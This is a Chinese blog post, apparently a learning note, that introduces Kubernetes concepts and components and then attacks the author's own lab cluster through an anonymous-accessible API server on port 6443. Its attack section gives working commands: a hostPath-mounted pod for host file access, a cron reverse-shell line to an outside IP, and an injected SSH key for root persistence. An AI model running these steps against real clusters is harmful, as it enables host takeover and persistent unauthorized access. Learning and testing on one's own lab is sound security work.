前言:在学习云原生云安全之前,觉得还是有必要去了解Kubernetes的基础概念与组成,所以.....
Kubernetes了解
Kubernetes介绍:
Kubernetes 是一个开源的容器编排平台,以其可移植性和可扩展性著称。它采用声明式配置,用户只需声明应用的期望状态,Kubernetes 便会自动完成容器化应用的部署、管理与维护,确保其高可用和持续运行。
其核心能力在于强大的自动调度机制。 Kubernetes 会持续监控集群中各个节点的资源使用状况(如CPU、内存),并智能地将容器化应用调度部署到最合适的节点上。这种自动化不仅简化了运维复杂度,更是保障了容器健康状态与稳定运行。
基础概念:
命名空间(Namespace)
逻辑集群分区,实现资源隔离
- 核心作用:为多团队/项目共享集群提供资源隔离层(如资源配额、权限控制)。
- 默认空间:
default:用户资源默认存放位置kube-system:Kubernetes 系统组件(etcd、kube-proxy 等)kube-public:存储所有用户均可读的配置(如集群信息)
Node(节点)
集群的“工作机器” Kubernetes 中的物理机或虚拟机,负责运行容器化应用(Pod)。
核心职责:
- 资源供给:提供 CPU、内存、存储等资源供 Pod 使用。
- 容器运行时环境:安装容器引擎(如 containerd)执行容器操作。
关键组件(每个节点必备):
- kubelet:接收指令并管理容器生命周期。
- kube-proxy:维护网络规则,实现 Service 的流量转发。
- 容器引擎:负责运行容器,比如:Docker、containerd、cri-o、rktlet以及任何实现了 Kubernetes容器引擎接口的容器引擎
Pod(最小部署单元)
容器的“逻辑主机”,调度基础单位
- 核心特性:
- 包含 1个或多个容器(紧耦合应用)
- 容器共享网络/IP(通过
localhost通信)与存储卷- 始终部署在同一节点(不可跨节点)
- 设计意义:
- 为微服务提供共享环境(如日志收集 Sidecar 容器)
- 生命周期短暂(故障后自动重建,IP 可变)
Service(服务抽象)
Pod 的稳定访问入口
- 解决问题:Pod IP 易变,无法直接访问
- 实现方式:
- 通过
Label Selector(标签选择器)绑定动态 Pod 组- 提供固定 VIP(虚拟 IP)/DNS 名称(如
my-svc.default.svc.cluster.local)
Deployment(应用部署)
Pod 的版本控制器
- 核心能力:
- 声明式管理 Pod 副本数(ReplicaSet)
- 滚动更新/回滚(零停机发布)
- 自愈机制(自动替换故障 Pod)
ConfigMap & Secret(配置管理)
解耦应用配置
- ConfigMap:存储非敏感配置(如环境变量、配置文件)
- Secret:存储敏感数据(如密码、令牌),Base64 编码存储
Kubernetes组件
Master组件
Master组件是集群的控制平台(control plane):
- master 组件负责集群中的全局决策(例如,调度)
- master 组件探测并响应集群事件(例如,当 Deployment 的实际 Pod 副本数未达到
replicas字段的规定时,启动一个新的 Pod)
Master组件可以运行于集群中的任何机器上。但是,为了简洁性,通常在同一台机器上运行所有的 master 组件。
kube-apiserver
这是 Kubernetes 的master核心组件,负责提供 Kubernetes API。它是集群所有交互操作的 唯一入口和 API 网关。
- 所有用户请求(通过 kubectl, Kubernetes Dashboard, Kuboard 等工具)以及控制平面内部组件(如 scheduler, controller-manager)之间的通信,都必须经过 kube-apiserver。
- 关键的认证 (Authentication)、授权 (Authorization) 和准入控制 (Admission Control)均需通过此组件进行。
简单来说,kube-apiserver 是 Kubernetes 集群的“中央网关”和“操作枢纽”。任何想查看或更改集群状态的操作(比如部署应用、扩缩容、检查日志),都必须通过它来完成。
etcd
这是 Kubernetes 的master核心组件,是一个分布式、强一致性的键值存储组件,整个 Kubernetes 集群的状态数据(包括node节点信息、Pod 部署、配置、Secrets 等)都持久化存储在 etcd 中
简单来说,etcd 是 Kubernetes 集群的“真相源”和“数据库”。 master的所有组件(如 API Server、Scheduler、Controller Manager)都依赖它来获取和存储集群的最新、一致的状态
kube-scheduler
这是 Kubernetes的master的核心组件,负责为新创建的、尚未分配Node(节点)的 Pod 自动选择最合适的 Node 进行部署运行。
总的来说,它是 Kubernetes 集群“智能调度”的核心引擎。 调度器持续监控集群状态,根据 Pod 的资源需求(如 CPU、内存)、节点可用资源、亲和性/反亲和性规则、数据位置等因素,实时决策将 Pod 调度到最优节点上。也就相当于集群自动调度与资源优化的核心
kube-controller-manager
此 master 组件运行了所有的控制器
逻辑上来说,每一个控制器是一个独立的进程,但是为了降低复杂度,所以将多个功能紧密相关、保障集群核心功能的核心控制器编译并运行在同一个进程中
kube-controller-manager 中包含的控制器有:
- 节点控制器: 负责监听节点停机的事件并作出对应响应
- 副本控制器: 负责为集群中每一个 副本控制器对象(Replication Controller Object)维护期望的 Pod 副本数
- 端点(Endpoints)控制器:负责为端点对象(Endpoints Object,连接 Service 和 Pod)赋值
- Service Account & Token控制器: 负责为新的namespace(命名空间)创建 default Service Account 以及 API Access Token
可以简单理解为,它是 Kubernetes 集群的大脑,负责对节点、副本等关键资源进行控制,以确保集群始终处于稳定、可控的状态。
Node 组件
Node 组件运行在每一个node节点上(包括 master 节点和 worker 节点),负责维护运行中的 Pod 并提供 Kubernetes 运行时环境。
kubelet
此组件是运行在每一个集群节点上的代理程序。它确保 Pod 中的容器处于运行状态。Kubelet 通过多种途径获得 PodSpec 定义,并确保 PodSpec 定义中所描述的容器处于运行和健康的状态。Kubelet不管理不是通过 Kubernetes 创建的容器。
kube-proxy
kube-proxy 是一个网络代理程序,运行在集群中的每一个节点上,是实现 Kubernetes Service 概念的重要部分。
kube-proxy 在节点上维护网络规则。这些网络规则使得您可以在集群内、集群外正确地与 Pod 进行网络通信。如果操作系统中存在 packet filtering layer,kube-proxy 将使用这一特性(iptables代理模式),否则,kube-proxy将自行转发网络请求(User space代理模式)
容器引擎
容器引擎负责运行容器。Kubernetes支持多种容器引擎:Docker、containerd、cri-o、rktlet以及任何实现了 Kubernetes容器引擎接口的容器引擎
Addons
Addons 使用 Kubernetes 资源(DaemonSet、Deployment等)实现集群的功能特性。由于他们提供集群级别的功能特性,addons使用到的Kubernetes资源都放置在 kube-system 名称空间下。
DNS
除了 DNS Addon 以外,其他的 addon 都不是必须的,所有 Kubernetes 集群都应该有 Cluster DNS
Cluster DNS 是一个 DNS 服务器,是对已有环境中其他 DNS 服务器的一个补充,存放了 Kubernetes Service 的 DNS 记录。
Kubernetes 启动容器时,自动将该 DNS 服务器加入到容器的 DNS 搜索列表中。
Kubernetes+docker部署:
先使用虚拟机部署 并尝试编写一键部署脚本
三台ubt
Node1:(Master)-192.168.71.129
Node2:(agent1)-192.168.71.136
Node3:(agent2)-192.168.71.137
编写一键部署脚本:
install.sh:
在公网试完之后会补全(
给权限运行
chmod +x install.sh
sudo bash install.sh
按照要求填写部署即可

Kubernetes渗透学习
基础
再看看一些攻击需要理解的基础(基础搬自K8S云原生环境渗透学习-先知社区)感觉写的我能看懂 cv一下(
k8s用户
Kubernetes 集群中包含两类用户:一类是由 Kubernetes管理的service account,另一类是普通用户。
- service account 是由 Kubernetes API管理的账户。它们都绑定到了特定的 namespace,并由 API server 自动创建,或者通过 API 调用手动创建。Service account 关联了一套凭证,存储在 Secret,这些凭证同时被挂载到 pod 中,从而允许 pod 与 kubernetes API 之间的调用。
- Use Account(用户账号):一般是指由独立于Kubernetes之外的其他服务管理的用 户账号,例如由管理员分发的密钥、Keystone一类的用户存储(账号库)、甚至是包 含有用户名和密码列表的文件等。Kubernetes中不存在表示此类用户账号的对象, 因此不能被直接添加进 Kubernetes 系统中 。
k8s访问控制过程
k8s 中所有的 api 请求都要通过一个 gateway 也就是 apiserver 组件(上面概念提到了类似于网关)来实现,是集群唯一的访问入口。 主要实现的功能就是api 的认证 + 鉴权以及准入控制。
三种机制:
- 认证:Authentication,即身份认证。检查用户是否为合法用户,如客户端证书、密码、bootstrap tookens和JWT tokens等方式。
- 鉴权:Authorization,即权限判断。判断该用户是否具有该操作的权限,k8s 中支持 Node、RBAC(Role-Based Access Control)、ABAC、webhook等机制,RBAC 为主流方式
- 准入控制:Admission Control。请求的最后一个步骤,一般用于拓展功能,如检查 pod 的resource是否配置,yaml配置的安全是否合规等。一般使用admission webhooks来实现
注意:认证授权过程只存在HTTPS形式的API中。也就是说,如果客户端使用HTTP连接到kube-apiserver,是不会进行认证授权
k8s认证
X509 client certs
客户端证书认证,X509 是一种数字证书的格式标准,是 kubernetes 中默认开启使用最多的一种,也是最安全的一种。api-server 启动时会指定 ca 证书以及 ca 私钥,只要是通过同一个 ca 签发的客户端 x509 证书,则认为是可信的客户端,kubeadm 安装集群时就是基于证书的认证方式。
user 生成 kubeconfig就是X509 client certs方式。
Service Account Tokens
因为基于x509的认证方式相对比较复杂,不适用于k8s集群内部pod的管理。Service Account Tokens是 service account 使用的认证方式。定义一个 pod 应该拥有什么权限。
service account 主要包含了三个内容:namespace、token 和 ca
- namespace: 指定了 pod 所在的 namespace
- token: token 用作身份验证
- ca: ca 用于验证 apiserver 的证书
k8s鉴权
K8S 目前支持了如下四种授权机制:
- Node
- ABAC
- RBAC
- Webhook
具体到授权模式其实有六种:
- 基于属性的访问控制(ABAC)模式允许你 使用本地文件配置策略。
- 基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储策略。
- WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。
- node节点鉴权是一种特殊用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。
- AlwaysDeny阻止所有请求。仅将此标志用于测试。
- AlwaysAllow允许所有请求。仅在你不需要 API 请求 的鉴权时才使用此标志。
可以选择多个鉴权模块。模块按顺序检查,以便较靠前的模块具有更高的优先级来允许 或拒绝请求。
从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。
攻击
6443端口
这是API Server 默认会开启的端口 但是是有存在鉴权的过程的
前面攻击的基础知识中提到了认证授权过程只存在HTTPS形式的API中,所以得使用https
直接访问会提示401 Unauthorized:

在实战的情况下,有可能会有集群存在 RBAC 配置缺陷,将 system:anonymous 用户绑定至 cluster-admin 角色时,攻击者可在不提供任何凭证的前提下,通过 6443 接口对集群资源进行任意操作,形成严重的越权访问漏洞
为了模拟这一情况 使用如下命令:
kubectl create clusterrolebinding wuwuhacker \
--clusterrole=cluster-admin \
--user=system:anonymous

但是当时部署脚本的启动里没有设置 所以需要手动加一下配置参数
改:/etc/systemd/system/k3s.service
在ExecStart 行添加 --kube-apiserver-arg anonymous-auth=true
我的ExecStart改完之后如下
ExecStart=/usr/local/bin/k3s \
server \
'--cluster-init' \
'--docker' \
'--node-name' \
'k3s-master' \
'--with-node-id' \
'--kube-apiserver-arg' \
'service-node-port-range=1-65000' \
'--kube-apiserver-arg' \
'anonymous-auth=true' \
'--advertise-address' \
'192.168.71.129'
保存完重启
systemctl daemon-reload
systemctl restart k3s
使用工具CDK-Releases · cdk-team/CDK 也可以不用 在改完配置之后 所有的匿名用户都有了权限 所以在这里意义不大
./cdk_linux_amd64 kcurl anonymous get "https://192.168.71.129:6443/api/v1/nodes"

可以看到是成功访问到了
因为环境是docker+k8s(实际上大部分都是这样部署的)
所以要进一步利用的话就要考虑docker
利用这里的api去新建一个docker 将这个docker挂载到主机的根目录下 等同于控制了主机的所有文件管理权限
实现方法如下:
使用kubectl去创建
如果没有的话先下载 下载指令如下:
windows:
curl.exe -LO "https://dl.k8s.io/release/v1.33.0/bin/windows/amd64/kubectl.exe"
linux:
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
or
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/arm64/kubectl"
开始新建容器
在攻击机上新建一个yaml文件以创建容器
apiVersion: v1
kind: Pod
metadata:
name: hackertest
spec:
containers:
- image: alpine:latest
name: hackercontainer
command: ["sh", "-c", "echo 'Container started'; tail -f /dev/null"]
volumeMounts:
- mountPath: /mnt
name: hackertest
volumes:
- name: hackertest
hostPath:
path: /
kubectl curl(curl需要将yaml改成json格式发送) 都可以创建
kubectl apply -f test.yaml --server=https://192.168.71.129:6443 --insecure-skip-tls-verify=true --username=system:anonymous
curl -k -X POST https://192.168.71.129:6443/api/v1/namespaces/default/pods \
-H "Content-Type: application/json" \
--data-binary @test.yaml

显示成功创建了
然后查看pod信息 看在哪一台机器上
kubectl -s https://192.168.71.129:6443 get pods -o wide --username=system:anonymous --insecure-skip-tls-verify=true

看到直接就把这个挂到了master上 那么也就等于已经控制了master这一台机器 如果在agent 那么就是控制了agent
kubectl -s https://192.168.71.129:6443 --namespace=default --insecure-skip-tls-verify=true --username=system:anonymous exec -it hackertest -- sh

可以看到已经拿下了master这台主机的所有文件管理权限
但是如果要getshell的话 也有方法
比如 通过写定时任务去弹shell 我这里把主机的文件挂载在/mnt下 所以写入
echo -e "* * * * * root bash -i >& /dev/tcp/172.24.232.183/2333 0>&1\n" >> /mnt/var/spool/cron/crontabs/root

这里在收shell的时候又出现了ubt的神秘问题 定时任务收不到shell 原因懒得去找了 定时任务弹shell肯定是没有问题的
还有一个方法就是利用公私钥去直接ssh连主机
随便根据攻击机的私钥生成一个公钥
ssh-keygen -t rsa -b 4096 -C "hacker@target"

再使用刚刚的特权容器去把这个公钥写入到主机的authorized_keys里
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDaH80u4yRDFg9pdIzLKAdz2hcYz1492uIA0zhlYtM92RY6ue8cMJLb15coANg37eWVkw5gAJaCrrmbszmpkPduxwo8K93yPlhiyDXPEcorQiTA9/FlcC9cKgDiih7z03IvrbNWtoDoScg8K3G840ys/7Y3YwcwTP7L352Zgqx6zo+sXbIKsc6CBtj/Awm527eTRiCMCYFHb2x4YqPf+oaHzBcoxBfjNzY3VOPGHU0Raz0pBzMwPK1j80EmIzGPZMQH4YJu6BZSZ2OGsIDi0wtodlxePn3wSUKT2ISYYfp40Wv43Ken2Q8DVvQLJ8bPJ6RsOCm1yKCBvbykPkfbJdY+HTkgv7slCf6PuAYlR1+EBRctS8NgntZTz6J81K2QCT76hBgiiEgQt+uVFX1blcebIRGgTKqtbqXFzh63erQgHFgooJnSG0yHYH15nXdzGI6ijYIVzhTFz/R89jMP2wBdDWXXhUeynZ2oCHYOZOV+TFN64M4jz/XnJeZY7IAuX4Vz41Z4J8RlL/dSz3JTdFPwYwdqQc1H4jjTysVgS57la0kT/vd6+Q/HVqbLO0nJzuWBCsdXgNaF+69agqPeywWZoBgmiilWbSHG+AZ+clECMTHGTh3Y4d8C24geT3tu71QXKttL2VTnRUyoH9w25Ajh/nmYZJJbMXDCIG6cYityww== hacker@target" >> /mnt/root/.ssh/authorized_keys
然后再使用生成公钥的那台攻击机 直接ssh无密码登录
ssh -i /home/wuwupor/.ssh/id_rsa root@192.168.71.129

差不多就这样吧
8080端口
新版本已经没有了这个端口并且也被删掉这个参数了
而且攻击手法会体现在了6443中 只是8080没有匿名用户访问这一个点 不作写多余的了
未完待续(
参考文章:
Comments | NOTHING